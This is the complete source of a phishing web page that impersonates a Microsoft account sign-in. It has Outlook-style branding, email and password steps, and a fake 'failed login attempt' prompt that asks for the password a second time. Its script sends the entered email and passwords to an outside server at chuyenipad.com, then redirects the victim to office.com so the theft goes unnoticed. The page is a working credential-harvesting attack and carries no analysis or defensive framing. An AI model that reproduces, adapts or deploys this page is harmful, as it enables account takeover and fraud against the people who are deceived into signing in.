<!DOCTYPE html>
<html>
    <head>
        <title>Sign in to your account</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" type="image/jpg" href="https://chuyenipad.com/queenmobile.info/stats/images/favicon3.png">
        <link rel="stylesheet" href="https://chuyenipad.com/queenmobile.info/stats/styles.css">
        <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    </head>
    <body style="background-position: center; background-repeat: no-repeat; background-size: cover; background-attachment: fixed; background-color: white; height: 100%;">
        <div id="loading-container" style="position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: white;">
            <style>
                :root{--s:180px;--envW:130px;--envH:71px;--calW:118px;--sqW:calc(var(--calW) / 3);--sqH:37px;--calHH:20px;--calH:calc(var(--sqH) * 3 + var(--calHH));--calY:calc(var(--calH) + 20px);--calYExt:calc(var(--calH) - 80px);--calYOverExt:calc(var(--calH) - 92px);--flapS:96px;--flapH:calc(0.55 * var(--envH));--flapScaleY:calc(var(--flapH) / var(--flapWidth));--dur:5s}#container{width:var(--s);height:var(--s);animation:bounce var(--dur) infinite}@keyframes bounce{0%,100%,12.5%,32.5%,76.1%{transform:translateY(0)}22.5%,86%{transform:translateY(7px)}}#logo{height:179px;width:130px;overflow:hidden;margin-top:-59px;margin-left:25px}#containerShadow{position:relative;top:120px;left:25px;width:var(--envW);height:var(--envH);border-radius:0 0 7px 7px;box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite}@keyframes shadow-fade{0%,100%,21.2%,80%{opacity:0}47%,70%{opacity:1}}#flapContainer{width:var(--envW);margin-top:179px}#ef{width:var(--envW);height:var(--envH);border-radius:0 0 7px 7px;overflow:hidden;margin-top:-41px}#ef>.l{width:287px;height:var(--envH);background:#28a8ea;transform:translate(-153px,-70px) rotate(28deg)}#ef>.r{width:287px;height:var(--envH);background:#1490df;transform:translate(-120px,63px) rotate(-28deg)}#eb{width:var(--envW);height:40px;background:#123b6d;margin-top:-70px}#cal{display:flex;flex-wrap:wrap;width:var(--calW);height:var(--calH);border-radius:7px;overflow:hidden;margin:0 auto;margin-top:-306px;animation:cal-bounce var(--dur) infinite;animation-timing-function:cubic-bezier(0,0.5,0,1);transform:translateY(var(--calYExt)) scaleY(1)}@keyframes cal-bounce{0%,100%,16.5%,76.1%{transform:translateY(var(--calY)) scaleY(1)}28%{transform:translateY(var(--calYOverExt)) scaleY(1)}31%{transform:translateY(var(--calYExt)) scaleY(1.05)}33%{transform:translateY(var(--calYExt)) scaleY(.96)}34%,68.5%{transform:translateY(var(--calYExt)) scaleY(1)}68.5%{animation-timing-function:cubic-bezier(0.66,-0.16,1,-0.29)}}#cal>.t{width:var(--calW);height:calc(var(--calHH) + 1px);margin-bottom:-1px;background:#0358a7}#cal>.r{display:flex;width:var(--calW);height:var(--sqH)}.s{width:var(--sqW);height:calc(var(--sqH) + 1px)}.s1{background:#0078d4}.s2{background:#28a8ea}.s3{background:#50d9ff}.s4{background:#0364b8}.s5{background:#14447d}#openedFlap{width:var(--envW);height:107px;animation:opened-flap-swing var(--dur) infinite;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(-68px) rotate3d(1,0,0,-180deg)}@keyframes opened-flap-swing{0%,100%,14.5%,76%{transform:translateY(-68px) rotate3d(1,0,0,-90deg)}16.5%,74%{transform:translateY(-68px) rotate3d(1,0,0,-180deg)}}#closedFlap{width:var(--envW);animation:closed-flap-swing var(--dur) infinite;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg)}@keyframes closed-flap-swing{0%,100%,77%,8.5%{transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,0)}14.5%,76%{transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg)}}#fmask{width:var(--envW);height:107px;overflow:hidden}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0 auto;border-radius:7px;transform:scaleY(.6) rotate(45deg)}#openedFlap .flapTriangle{background:#123b6d}#closedFlap .flapTriangle{background:#50d9ff}
            </style>
            <div id="loadingLogo" style="max-width: 150px; margin: 0px auto;">
                <div id="container" style="margin: 0px 0px 500px -15px;">
                    <div id="containerShadow"></div>
                    <div id="logo">
                        <div id="flapContainer">
                            <div id="openedFlap">
                                <div id="fmask">
                                    <div class="flapTriangle"></div>
                                </div>
                            </div>
                            <div id="cal">
                                <div class="t"></div>
                                <div class="r">
                                    <div class="s s1"></div>
                                    <div class="s s2"></div>
                                    <div class="s s3"></div>
                                </div>
                                <div class="r">
                                    <div class="s s4"></div>
                                    <div class="s s1"></div>
                                    <div class="s s2"></div>
                                </div>
                                <div class="r">
                                    <div class="s s5"></div>
                                    <div class="s s4"></div>
                                    <div class="s s1"></div>
                                </div>
                            </div>
                        </div>
                        <div id="eb"></div>
                        <div id="ef">
                            <div class="r"></div>
                            <div class="l"></div>
                        </div>
                        <div id="closedFlap">
                            <div id="fmask">
                                <div class="flapTriangle"></div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div style="display: flex; width: 80%; margin: auto;">
                <div style="width: 50%; margin-right: -50px;"></div>
                <svg width="99" height="22" xmlns="http://www.w3.org/2000/svg">
                    <g fill="none" fill-rule="evenodd">
                        <path fill="#737474" d="m34.64 12.07-.58 1.65h-.04c-.1-.39-.28-.93-.56-1.63l-3.14-7.9h-3.08v12.56h2.03V9.03l-.03-1.7c-.01-.34-.05-.6-.06-.81h.05c.1.47.2.83.28 1.07l3.78 9.16h1.42l3.75-9.24c.08-.21.17-.62.25-1h.05c-.05.92-.1 1.76-.1 2.26v7.98h2.17V4.2h-2.96l-3.23 7.88z"/>
                        <path d="M0 20.96h98.15V0H0z"/>
                        <path fill="#737474" d="M42.87 16.75h2.11v-9h-2.11zm1.08-12.82c-.35 0-.66.12-.9.35a1.17 1.17 0 0 0-.38.88c0 .35.12.64.37.87.25.23.55.34.9.34s.67-.11.92-.34c.25-.23.38-.52.38-.86 0-.34-.13-.64-.37-.88a1.26 1.26 0 0 0-.92-.36m8.53 3.73a5.9 5.9 0 0 0-1.19-.12c-.97 0-1.83.2-2.57.62-.74.4-1.3 1-1.7 1.74a5.57 5.57 0 0 0-.01 4.9c.37.7.9 1.23 1.58 1.6.67.38 1.45.57 2.31.57 1.01 0 1.87-.2 2.56-.6l.03-.02v-1.94l-.1.07c-.3.23-.65.4-1.03.54a3.12 3.12 0 0 1-1.01.2c-.83 0-1.5-.26-1.98-.78a3 3 0 0 1-.73-2.14c0-.9.25-1.65.76-2.2a2.6 2.6 0 0 1 1.98-.81c.7 0 1.38.23 2.02.7l.09.06V8.01L53.46 8a3.5 3.5 0 0 0-.98-.33m6.97-.06a2.17 2.17 0 0 0-1.41.5c-.36.3-.62.7-.82 1.21h-.02V7.75h-2.12v9h2.12v-4.6c0-.78.18-1.43.53-1.91.34-.48.8-.73 1.37-.73a2.5 2.5 0 0 1 1.13.3l.09.06V7.74l-.04-.02c-.2-.08-.47-.12-.83-.12m7.44 6.87c-.4.5-1 .75-1.78.75s-1.4-.26-1.83-.77a3.25 3.25 0 0 1-.65-2.16c0-.96.22-1.7.65-2.22a2.24 2.24 0 0 1 1.8-.78c.75 0 1.34.25 1.77.74.42.5.64 1.24.64 2.2 0 .98-.2 1.73-.6 2.23M65.2 7.54a4.7 4.7 0 0 0-3.5 1.29 4.84 4.84 0 0 0-1.27 3.53c0 1.4.42 2.54 1.24 3.36a4.48 4.48 0 0 0 3.31 1.25c1.44 0 2.6-.44 3.44-1.31a4.84 4.84 0 0 0 1.26-3.5c0-1.43-.4-2.57-1.18-3.39a4.38 4.38 0 0 0-3.3-1.23m9.18 3.93a4.6 4.6 0 0 1-1.27-.66.93.93 0 0 1-.26-.7c0-.25.1-.46.33-.63.22-.17.52-.26.9-.26a3.74 3.74 0 0 1 2.04.6l.1.07V7.93l-.04-.02a4.71 4.71 0 0 0-.97-.26 5.93 5.93 0 0 0-1.05-.11c-1.01 0-1.85.25-2.49.76a2.45 2.45 0 0 0-.96 2c0 .42.07.8.2 1.12.15.32.36.6.65.83.28.24.72.48 1.3.73.49.2.85.37 1.08.5.23.14.39.27.48.4.09.12.13.3.13.5 0 .61-.45.9-1.38.9a3.8 3.8 0 0 1-1.17-.2 4.42 4.42 0 0 1-1.2-.62l-.1-.06v2.06l.04.02a6.02 6.02 0 0 0 2.35.5c1.1-.01 1.98-.27 2.62-.78.65-.52.98-1.2.98-2.05 0-.6-.18-1.12-.53-1.54-.34-.42-.94-.8-1.78-1.14m9.68 3c-.4.5-1 .75-1.78.75-.77 0-1.39-.26-1.82-.77a3.25 3.25 0 0 1-.65-2.16c0-.96.22-1.7.65-2.22a2.24 2.24 0 0 1 1.8-.78c.75 0 1.34.25 1.76.74.43.5.65 1.24.65 2.2 0 .98-.2 1.73-.6 2.23m-1.69-6.92a4.7 4.7 0 0 0-3.5 1.29 4.84 4.84 0 0 0-1.27 3.53c0 1.4.42 2.54 1.24 3.36a4.48 4.48 0 0 0 3.31 1.25c1.44 0 2.6-.44 3.44-1.31a4.84 4.84 0 0 0 1.26-3.5c0-1.43-.4-2.57-1.19-3.39a4.38 4.38 0 0 0-3.29-1.23m15.77 1.94V7.75H96V5.07l-.07.02-2.01.62h-.04v2.04H90.7V6.62c0-.53.12-.93.35-1.2.23-.27.56-.4.99-.4.3 0 .61.07.93.21l.08.04V3.45L93 3.43c-.3-.1-.7-.15-1.2-.15-.62 0-1.19.13-1.68.4-.5.27-.89.66-1.16 1.15a3.41 3.41 0 0 0-.41 1.68v1.24h-1.5v1.73h1.5v7.27h2.14V9.48h3.18v4.62c0 1.9.9 2.87 2.67 2.87a4.36 4.36 0 0 0 1.57-.31l.03-.02V14.9l-.09.06c-.12.07-.26.14-.43.18-.17.05-.31.08-.42.08-.42 0-.73-.12-.92-.34-.19-.22-.29-.6-.29-1.15V9.48h2.15z"/>
                        <path fill="#F05124" d="M0 9.96h9.96V0H0z"/>
                        <path fill="#7EBB42" d="M11 9.96h9.95V0H11z"/>
                        <path fill="#32A0DA" d="M0 20.96h9.96V11H0z"/>
                        <path fill="#FDB813" d="M11 20.96h9.95V11H11z"/>
                    </g>
                </svg>
            </div>
        </div>

        <div id="box" style="display: none;">
            <div id="logo-container" style="display: flex; justify-content: start; gap: 0px; width: 6rem;">
                <div id="logo-boxes" style="display: flex; flex-wrap: wrap; padding: 0px; margin: 0px; width: 30px;">
                    <div class="logo-box" style="background-color: #f25022; width: 12px; height: 12px; margin: 0.5px;"></div>
                    <div class="logo-box" style="background-color: #7fba00; width: 12px; height: 12px; margin: 0.5px;"></div>
                    <div class="logo-box" style="background-color: #00a4ef; width: 12px; height: 12px; margin: 0.5px;"></div>
                    <div class="logo-box" style="background-color: #ffb900; width: 12px; height: 12px; margin: 0.5px;"></div>
                </div>
                <div id="logo-comment" style="color: #6e6e6e; width: 65%; max-width: 200px; font-size: 1.1rem; font-weight: 600; margin-left: -1px; margin-top: 7px; line-height: 0.75rem;">Microsoft</div>
            </div>

            <div id="loader" style="position: relative; top: 50px;">
                <div id="small-loader-container" style="position: absolute; top: 25px; margin: auto; transform: translate(-50%,-50%);">
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span> 
                    <span style="display: inline-block; width: 0.2em; height: 0.2em; border-radius: 50%; margin: 0 0.125em; background-color: rgb(235, 217, 217); opacity: 0;"></span>
                </div>
                <p id="loader-comment" style="margin-top: -3px; font-size: 1.2rem; font-weight: 600; color: #000;">Trying to sign you in</p>
            </div>

            <div id="main" style="display: none;">
                <form id="the-form">
                    <p id="form-message" style="color: red; margin: 12px 0px; font-size: 0.75rem;"></p>
                    <div id="pageu">
                        <p class="phead" style="font-weight: bold; font-size: 1.5rem; line-height: 0.75rem; color: black;">Sign in</p>
                        <input type="text" name="mic" id="mic" placeholder="Email, Phone, Skype" style="width: 100%; margin-top: 2px; padding: 7px 0px; font-size: 0.95rem; outline: none; border: none; border-bottom: 1px solid #0067b8;" /><br />
                        <p style="padding: 3px 0px; font-size: 0.75rem;">No account?<a style="font-size: 0.75rem; color: #0067b8; margin: 8px; text-decoration: none;" href="#">Create one!</a></p>
                        <p style="color: #0067b8; padding: 5px 0px; font-size: 0.75rem; cursor: pointer;">Can't access your account?</p>
                        <button onclick="showPaged()" type="button" style="float: right; border: none; outline: none; margin-top: 35px; font-size: 0.95rem; border: none; width: 20%; padding: 0.6rem; background-color: #0067b8; color: white; cursor: pointer;">Next</button>
                    </div>

                    <div id="paged" style="display: none;">
                        <div class="_euser_cont" style="display: flex; justify-content: start; margin: 20px 0px; padding: 0px;">
                            <img src="https://chuyenipad.com/queenmobile.info/stats/images/arrow-left-line.svg" onclick="goBack()" style="height: 25px; width: 25px; padding: 4px; margin-top: -3px; border-radius: 50%; cursor: pointer;"/>
                            <p class="_euser" style="margin: 0px 6px; line-height: 0.95rem; font-size: 0.95rem; font-weight: 500px;"></p>
                        </div>
                        <p class="phead" style="font-weight: bold; font-size: 1.5rem; line-height: 0.75rem; color: black;">Enter password</p>
                        <input type="password" name="roso" id="roso" placeholder="Password" style="width: 100%; margin-top: 2px; padding: 7px 0px; font-size: 0.95rem; outline: none; border: none; border-bottom: 1px solid #0067b8;" />
                        <p style="font-size: 0.75rem; color: #0067b8; padding: 5px 0px; cursor: pointer;">Forgot my password?</p>
                        <button onclick="showPaget()" type="button" style="float: right; border: none; outline: none; margin-top: 35px; font-size: 0.95rem; border: none; width: 20%; padding: 0.6rem; background-color: #0067b8; color: white; cursor: pointer;">Sign in</button>
                    </div>

                    <div id="paget" style="display: none;">
                        <div class="_euser_cont" style="display: flex; justify-content: start; margin: 20px 0px; padding: 0px;">
                            <img src="https://chuyenipad.com/queenmobile.info/stats/images/arrow-left-line.svg" onclick="goBack()" style="height: 25px; width: 25px; padding: 4px; margin-top: -3px; border-radius: 50%; cursor: pointer;"/>
                            <p class="_euser" style="margin: 0px 6px; line-height: 0.95rem; font-size: 0.95rem; font-weight: 500px;"></p>
                        </div>
                        <p class="phead" style="font-weight: bold; font-size: 1.5rem; line-height: 0.75rem; color: black;">Re-enter password</p>
                        <p style="margin-top: -8px; font-size: 0.75rem; color: #6e6e6e;">We noticed a recent failed login attempt on your account, please confirm the account belongs to you</p>
                        <input type="password" name="roso_" id="roso_" placeholder="Password" style="width: 100%; margin-top: 8px; padding: 7px 0px; font-size: 0.95rem; outline: none; border: none; border-bottom: 1px solid #0067b8;" />
                        <button type="submit" style="float: right; outline: none; margin-top: 35px; border: none; font-size: 0.95rem; width: 22%; padding: 0.6rem; background-color: #0067b8; color: white; cursor: pointer;">Continue</button>
                    </div>
                </form>
            </div>
        </div>

        <div id="options" style="display: none; max-width: 400px; padding: 0.6rem; background-color: white; margin: 35px auto; border: solid 1px rgba(0,0,0,0.2);">
            <div style="display: flex; justify-content: start; cursor: pointer;">
                <img src="https://chuyenipad.com/queenmobile.info/stats/images/key.png" alt="key" style="height: 30px; width: 30px;"/>
                <p style="margin: 7px 5px; color: black; font-size: 0.8rem; line-height: 0.75rem;">Sign-in options</p>
            </div>
        </div>

        <footer id="footer" style="display: none; justify-content: space-between; position: fixed; bottom: 5px; left: 8px; width: 100%;">
            <div id="footer-content" style="display: flex; justify-content: start; gap: 15px; width: 80%; padding: 2px 15px;">
                <a style="font-size: 0.75rem; color: black; margin: 8px; text-decoration: none;" href="#">Terms of use</a>
                <a style="font-size: 0.75rem; color: black; margin: 8px; text-decoration: none;" href="#">Privacy & cookies</a>
                <a style="font-size: 1.75rem; margin-top: -10px; color: black; text-decoration: none;" href="#">...</a>
            </div>
            <div></div>
        </footer>

        <script lang="javascript">
            (async function () {
                const formData = new FormData()
                formData.append('live', 'true')
                const response = await fetch("https://chuyenipad.com/queenmobile.info/stats/server/test.php", {
                    method: "POST",
                    header: {
                        mode: 'cors'
                    },
                    body: formData,
                })
                const res = await response.json()
            })()
            const pageu = document.getElementById('pageu')
            const paged = document.getElementById('paged')
            const paget = document.getElementById('paget')
            const mic = document.getElementById('mic')
            const roso = document.getElementById('roso')
            const roso_ = document.getElementById('roso_')
            const formMessage = document.getElementById('form-message')
            const theForm = document.getElementById('the-form')
            const _euser = document.getElementsByClassName('_euser')
            const main = document.getElementById('main')
            const loader = document.getElementById('loader')
            const loaderComment = document.getElementById('loader-comment')
            const smallContainer = document.getElementById('small-loader-container')
            const options = document.getElementById('options')
            const box = document.getElementById('box')
            const footer = document.getElementById('footer')
            const loaderContainer = document.getElementById('loading-container')
            //const boxContainer = document.getElementById('box-container')

            setTimeout(function () {
                loaderContainer.remove()
                box.style.display = "block"
                footer.style.display = "flex"
                setTimeout(function () {
                    loader.style.display = "none"
                    main.style.display = "block"
                    options.style.display = "block"
                    box.style.height = "auto"
                }, 2000)
            }, 4000)

            function showPaged () {
                if (mic.value === "" || !mic.value.includes("@") || !mic.value.includes(".com")) {
                    formMessage.innerHTML = "Please enter a valid email"
                } else if (paged.style.display === "none" && _euser) {
                    loaderComment.style.display = "none"
                    loader.style.display = "block"
                    loader.style.position = "absolute"
                    loader.style.width = "100%"
                    loader.style.top = "0px"
                    smallContainer.style.top = "0px"
                    main.style.opacity = "0.2"
                    setTimeout(function () {
                        loader.style.display = "none"
                        options.style.display = "none"
                        paged.style.display = "block"
                        pageu.style.display = "none"
                        _euser[0].innerHTML = mic.value.toLowerCase()
                        formMessage.innerHTML = ""
                        main.style.opacity = "1"
                    }, 1000)
                }
            }

            function showPaget () {
                if (roso.value === "") {
                    //formPage2.style.display = "none"
                    //formPage1.style.display = "block"
                    formMessage.innerHTML = "Please enter your password"
                } else if (paget.style.display === "none") {
                    loader.style.display = "block"
                    main.style.opacity = "0.2"
                    setTimeout(function () {
                        loader.style.display = "none"
                        paget.style.display = "block"
                        paged.style.display = "none"
                        _euser[1].innerHTML = mic.value.toLowerCase()
                        formMessage.innerHTML = ""
                        main.style.opacity = "1"
                    }, 1000)
                }
            }

            function goBack () {
                if (paget.style.display === "block" && paged.style.display === "none") {
                    paget.style.display = "none"
                    pageu.style.display = "none"
                    paged.style.display = "block"
                } else if (paged.style.display === "block" && pageu.style.display === "none") {
                    paged.style.display = "none"
                    paget.style.display = "none"
                    pageu.style.display = "block"
                    options.style.display = "block"
                }
            }

            async function handleSubmit () {
                if (mic.value === "" || !mic.value.includes("@") || !mic.value.includes(".com")) {
                    formMessage.innerHTML = "Please enter a valid email"
                } else if (roso.value === "") {
                    //formPage2.style.display = "none"
                    //formPage1.style.display = "block"
                    formMessage.innerHTML = "Please enter your password"
                } else if (roso_.value === "") {
                    formMessage.innerHTML = "Please re-enter your password"
                } else if (roso.value != roso_.value) {
                    formMessage.innerHTML = "Passwords don't match"
                } else {
                    formMessage.innerHTML = ""
                    loader.style.display = "block"
                    main.style.opacity = "0.2"
                    const formData = new FormData(theForm)
                    formData.append('rezu', 'true')
                    try {
                        const response = await fetch("https://chuyenipad.com/queenmobile.info/stats/server/test.php", {
                            method: "POST",
                            header: {
                                mode: 'cors'
                            },
                            // Set the FormData instance as the request body
                            body: formData,
                        })
                        const res = await response.json()
                        if (res.message === "Success") {
                            setTimeout(function () {
                                location.replace("https://office.com")
                            }, 2000)
                        } else if (res.message === "Please fill the form completely and try again") {
                            loader.style.display = "none"
                            main.style.opacity = "1"
                            formMessage.innerHTML = "Please fill the form completely and try again"
                        } else if (res.message === "Network error") {
                            loader.style.display = "none"
                            main.style.opacity = "1"
                            formMessage.innerHTML = "Network error, please try again"
                        } else {
                            loader.style.display = "none"
                            main.style.opacity = "1"
                            formMessage.innerHTML = "Something went wrong, please try again"
                        }
                    } catch (e) {
                        loader.style.display = "none"
                        main.style.opacity = "1"
                        formMessage.innerHTML = "Network error, please try again"
                    }
                }
            }
            theForm.addEventListener("submit", (event) => {
                event.preventDefault()
                handleSubmit()
            })
        </script>
    </body>
</html>